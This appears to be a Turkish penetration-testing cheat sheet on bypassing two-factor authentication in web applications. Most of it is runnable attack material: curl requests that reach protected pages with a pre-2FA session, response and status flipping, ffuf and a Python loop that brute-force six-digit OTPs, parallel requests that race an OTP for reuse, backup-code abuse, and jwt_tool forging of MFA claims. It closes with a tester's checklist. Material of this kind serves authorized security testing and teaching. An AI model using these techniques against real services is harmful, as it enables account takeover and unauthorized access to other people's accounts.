2FA/MFA/OTP Bypass
web auth
İkinci faktör çoğu uygulamada ek bir HTTP adımıdır. Adım atlama, yanıt değiştirme, OTP brute ve yedek kod suistimali klasik yollardır.
Metodoloji
Section titled “Metodoloji”-
Login → 2FA → hedef kaynak akışını haritala (parametreler, cookie, JWT claim).
-
2FA adımını atlayıp doğrudan korunan URL/API’yi dene.
-
OTP brute / response flip / race koşullarını doğrula.
-
Backup code, remember-me ve alternatif kanal (SMS/email link) yüzeylerini tara.
Flow skip
Section titled “Flow skip”curl -sk https://TARGET/login -d 'user=victim&pass=Password1' -c jar# 2FA tamamlamadan:curl -sk https://TARGET/account -b jarcurl -sk https://TARGET/api/user/me -b jar -H 'Authorization: Bearer TOKEN_FROM_STEP1'/login → /2fa → /dashboard yerine doğrudan /dashboard veya /api/*Response manipulation
Section titled “Response manipulation”{"success":false,"2fa_required":true} → {"success":true,"2fa_required":false}HTTP 401 → 200"otp_ok": false → truePOST /2fa/verify HTTP/1.1Host: TARGETCookie: session=PRE_2FA
otp=000000Burp: yanıtı intercept edip status/body flipOTP brute
Section titled “OTP brute”ffuf -u https://TARGET/2fa -X POST -d 'otp=FUZZ' -w otp-6digit.txt -b 'session=PRE_2FA' -mc 200,302 -rate 10import requestss=requests.Session()# login first...for i in range(0,1000000): otp=f'{i:06d}' r=s.post('https://TARGET/2fa', data={'otp':otp}) if 'Invalid' not in r.text and r.status_code!=401: print('HIT', otp); break6 haneli OTP + rate-limit yok = pratik bruteRace / reuse
Section titled “Race / reuse”# Aynı OTP'yi paralel gönderseq 1 20 | xargs -P20 -I{} curl -sk https://TARGET/2fa -b jar -d 'otp=123456'OTP kullanıldıktan sonra kısa süre daha geçerli kalıyorsa race ile ikinci oturumBackup / recovery
Section titled “Backup / recovery”curl -sk https://TARGET/account/backup-codes -b jarcurl -sk https://TARGET/2fa/recovery -d 'code=ABCD-1234' -b jarEski backup code listesi, email magic link, SMS OTP predictionMFA claim / JWT
Section titled “MFA claim / JWT”jwt_tool TOKEN -I -pc mfa -pv true -S hs256 -p 'secret'"amr": ["pwd"] → ["pwd","otp"]"mfa": false → trueChecklist
Section titled “Checklist”[ ] 2FA öncesi session ile korunan kaynak denendi[ ] Response/status flip denendi[ ] OTP brute / race denendi[ ] Backup/recovery kanalı denendi[ ] Token claim manipülasyonu denendi[ ] Yetkili oturum kanıtlandı